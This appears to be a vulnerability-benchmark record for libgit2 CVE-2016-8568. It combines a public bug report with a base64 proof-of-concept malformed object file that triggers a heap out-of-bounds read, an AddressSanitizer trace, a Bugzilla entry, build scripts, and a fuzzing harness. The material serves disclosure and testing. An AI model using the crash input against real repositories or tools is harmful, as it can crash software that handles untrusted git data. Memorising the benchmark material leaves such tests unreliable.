Project: libgit2 (libgit2/libgit2), language: c++
Vulnerability instance: libgit2.cve-2016-8568
Sanitizer: address

================= Bug Report (1/2) ==================
## Source: GitHub Issue
## URL: https://github.com/libgit2/libgit2/issues/3936
## Description:
Issue: libgit2/libgit2#3936
Title: Read out-of-bounds in git_oid_nfmt
State: closed
Created by: gaa-cifasis
Created at: 2016-09-25 20:41:14+00:00

Issue Body:
Hi,

We found a read-out-of-bounds parsing a malformed object file using the last version of libgit2. To reproduce, first compile libgit2 and its examples with AddressSanitizer support.  Then:

```
$ git init ; mkdir -p .git/objects/32 ; printf 'eJwrKUpNVTBmMFRgAAAREQJV' | base64 -d > .git/objects/32/7b2768749122dbe850988d6fc544054d55a2ae 
```

Finally, you can trigger the bug using cat-file:

```
$ ASAN_OPTIONS='detect_leaks=0' cat-file -p 327b2768749122dbe850988d6fc544054d55a2ae
```

The AddressSanitizer report is here:

```
=9796==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000342b4 at pc 0x7f36f24005cf bp 0x7ffd9bc2cb60 sp 0x7ffd9bc2cb50
READ of size 1 at 0x6020000342b4 thread T0
    #0 0x7f36f24005ce in git_oid_nfmt /home/g/Work/Code/libgit2-master/src/oid.c:82
    #1 0x7f36f2400901 in git_oid_tostr /home/g/Work/Code/libgit2-master/src/oid.c:127
    #2 0x402f22 in show_tree /home/g/Work/Code/libgit2-master/examples/cat-file.c:58
    #3 0x403735 in main /home/g/Work/Code/libgit2-master/examples/cat-file.c:178
    #4 0x7f36f1d03290 in __libc_start_main (/usr/lib/libc.so.6+0x20290)
    #5 0x401919 in _start (/home/g/Work/Code/libgit2-master/examples/cat-file+0x401919)

0x6020000342b4 is located 0 bytes to the right of 4-byte region [0x6020000342b0,0x6020000342b4)
allocated by thread T0 here:
    #0 0x7f36f2868e60 in __interceptor_malloc /build/gcc-multilib/src/gcc/libsanitizer/asan/asan_malloc_linux.cc:62
    #1 0x7f36f23f4af7 in git__malloc /home/g/Work/Code/libgit2-master/src/util.h:162
    #2 0x7f36f23f5d1e in inflate_tail /home/g/Work/Code/libgit2-master/src/odb_loose.c:275
    #3 0x7f36f23f64a4 in inflate_disk_obj /home/g/Work/Code/libgit2-master/src/odb_loose.c:377
    #4 0x7f36f23f687f in read_loose /home/g/Work/Code/libgit2-master/src/odb_loose.c:417
    #5 0x7f36f23f7b2e in loose_backend__read /home/g/Work/Code/libgit2-master/src/odb_loose.c:642
    #6 0x7f36f23f26f1 in odb_read_1 /home/g/Work/Code/libgit2-master/src/odb.c:996
    #7 0x7f36f23f293b in git_odb_read /home/g/Work/Code/libgit2-master/src/odb.c:1028
    #8 0x7f36f23ec5ca in git_object_lookup_prefix /home/g/Work/Code/libgit2-master/src/object.c:167
    #9 0x7f36f24708f9 in maybe_sha_or_abbrev /home/g/Work/Code/libgit2-master/src/revparse.c:24
    #10 0x7f36f2470994 in maybe_sha /home/g/Work/Code/libgit2-master/src/revparse.c:34
    #11 0x7f36f2470cf6 in revparse_lookup_object /home/g/Work/Code/libgit2-master/src/revparse.c:96
    #12 0x7f36f2473b1c in ensure_base_rev_loaded /home/g/Work/Code/libgit2-master/src/revparse.c:625
    #13 0x7f36f24744f6 in revparse__ext /home/g/Work/Code/libgit2-master/src/revparse.c:802
    #14 0x7f36f2474854 in git_revparse_ext /home/g/Work/Code/libgit2-master/src/revparse.c:840
    #15 0x7f36f2474a8b in git_revparse_single /home/g/Work/Code/libgit2-master/src/revparse.c:863
    #16 0x40356c in main /home/g/Work/Code/libgit2-master/examples/cat-file.c:136
    #17 0x7f36f1d03290 in __libc_start_main (/usr/lib/libc.so.6+0x20290)
```

This issues was found using QuickFuzz.

Regards,



Commit References:
327b2768749122dbe850988d6fc544054d55a2ae

================= Bug Report (2/2) ==================
## Source: Red Hat Bugzilla
## URL: https://bugzilla.redhat.com/show_bug.cgi?id=1383211
## Description:
Bugzilla ID: 1383211
Title: CVE-2016-8568 CVE-2016-8569 libgit2: Invalid memory accesses parsing object files

Description
Andrej Nemec 2016-10-10 08:20:54 UTC
CVE-2016-8568

* Read out-of-bounds in git_oid_nfmt:
https://github.com/libgit2/libgit2/issues/3936

CVE-2016-8569

* DoS using a null pointer dereference in git_commit_message:
https://github.com/libgit2/libgit2/issues/3937

Proposed patch:

https://github.com/libgit2/libgit2/pull/3956


Comments:
Comment 1
Andrej Nemec 2016-10-10 08:21:57 UTC
Created libgit2 tracking bugs for this issue:

Affects: fedora-all [bug 1383212]
Affects: epel-all [bug 1383213]

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build
cd build
cmake .. -DCMAKE_INSTALL_PREFIX="$WORK" \
      -DBUILD_SHARED_LIBS=OFF \
      -DBUILD_CLAR=OFF \
      -DUSE_HTTPS=OFF \
      -DUSE_SSH=OFF \
      -DUSE_BUNDLED_ZLIB=ON \

make -j$(nproc)
make install -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool cmake
RUN git clone https://github.com/libgit2/libgit2 libgit2
RUN git -C libgit2 checkout 8e268168ecfdcc8efe36b58b514d1b93ea3f47f8
WORKDIR $SRC/libgit2
COPY build.sh $SRC/

Additional files:
filename: download_refs_fuzzer.cc
content: #include <git2.h>
#include <git2/sys/transport.h>

#include <cstring>
#include <cstdlib>
#include <sys/stat.h>

#include <string>

struct fuzz_buffer {
    const uint8_t *data;
    size_t size;
};

class fuzzer_stream {
public:
    git_smart_subtransport_stream base;
    fuzzer_stream(fuzz_buffer data) : readp(data.data), endp(data.data + data.size) {
        base.read = fuzzer_stream::read;
        base.write = fuzzer_stream::write;
        base.free = fuzzer_stream::free;
    }

    int do_read(char *buffer, size_t buf_size, size_t *bytes_read) {
        size_t avail = endp - readp;
        *bytes_read = std::min(buf_size, avail);
        memcpy(buffer, readp, *bytes_read);
        readp += *bytes_read;
        return 0;
    }

    static int read(git_smart_subtransport_stream *stream,
                    char *buffer,
                    size_t buf_size,
                    size_t *bytes_read) {
        fuzzer_stream *fs = reinterpret_cast<fuzzer_stream*>(stream);
        return fs->do_read(buffer, buf_size, bytes_read);
    }

    static int write(git_smart_subtransport_stream *stream,
              const char *buffer,
              size_t len) {
        return 0;
    }

    static void free(git_smart_subtransport_stream *stream) {
        fuzzer_stream *fs = reinterpret_cast<fuzzer_stream*>(stream);
        delete fs;
    }
private:
    const uint8_t *readp;
    const uint8_t *endp;
};

class fuzzer_subtransport {
public:
    git_smart_subtransport base;
    fuzzer_subtransport(git_transport *owner, fuzz_buffer data) : owner(owner), data(data) {
        base.action = fuzzer_subtransport::action;
        base.close = fuzzer_subtransport::close;
        base.free = fuzzer_subtransport::free;
    }

    int do_action(git_smart_subtransport_stream **out,
                  git_smart_subtransport *transport,
                  const char *url,
                  git_smart_service_t action) {
        fuzzer_stream *stream = new fuzzer_stream(this->data);
        *out = &stream->base;
        return 0;
    }

    static int action(git_smart_subtransport_stream **out,
                      git_smart_subtransport *transport,
                      const char *url,
                      git_smart_service_t action) {
        fuzzer_subtransport *ft = reinterpret_cast<fuzzer_subtransport*>(transport);
        return ft->do_action(out, transport, url, action);
    }

    static int close(git_smart_subtransport *transport) {
        return 0;
    }

    static void free(git_smart_subtransport *transport) {
        fuzzer_subtransport *ft = reinterpret_cast<fuzzer_subtransport*>(transport);
        delete ft;
    }

private:
    git_transport *owner;
    fuzz_buffer data;
};

int fuzzer_subtransport_cb(git_smart_subtransport **out,
                           git_transport* owner,
                           void* param) {
    fuzz_buffer *buf = static_cast<fuzz_buffer*>(param);
    fuzzer_subtransport *sub = new fuzzer_subtransport(owner, *buf);

    *out = &sub->base;
    return 0;
}

int create_fuzzer_transport(git_transport **out, git_remote *owner, void *param) {
    git_smart_subtransport_definition fuzzer_subtransport {fuzzer_subtransport_cb, 1, param};
    return git_transport_smart(out, owner, &fuzzer_subtransport);
}

void fuzzer_git_abort(const char *op) {
    const git_error *err  = giterr_last();
    fprintf(stderr, "unexpected libgit error: %s: %s\n",
            op, err ? err->message : "<none>");
    abort();
}


extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
  static git_repository *repo = nullptr;
  if (repo == nullptr) {
      git_libgit2_init();
      char tmp[] = "/tmp/git2.XXXXXX";
      if (mkdtemp(tmp) != tmp) {
          abort();
      }
      int err = git_repository_init(&repo, tmp, true);
      if (err != 0) {
          fuzzer_git_abort("git_repository_init");
      }
  }

  int err;
  git_remote *remote;
  err = git_remote_create_anonymous(&remote, repo, "fuzzer://remote-url");
  if (err != 0) {
      fuzzer_git_abort("git_remote_create");
  }


  fuzz_buffer buffer = {data, size};
  git_remote_callbacks callbacks = GIT_REMOTE_CALLBACKS_INIT;
  callbacks.transport = create_fuzzer_transport;
  callbacks.payload = &buffer;

  err = git_remote_connect(remote, GIT_DIRECTION_FETCH, &callbacks, nullptr, nullptr);
  if (err != 0) {
      goto out;
  }

  git_remote_download(remote, nullptr, nullptr);

 out:
  git_remote_free(remote);

  return 0;
}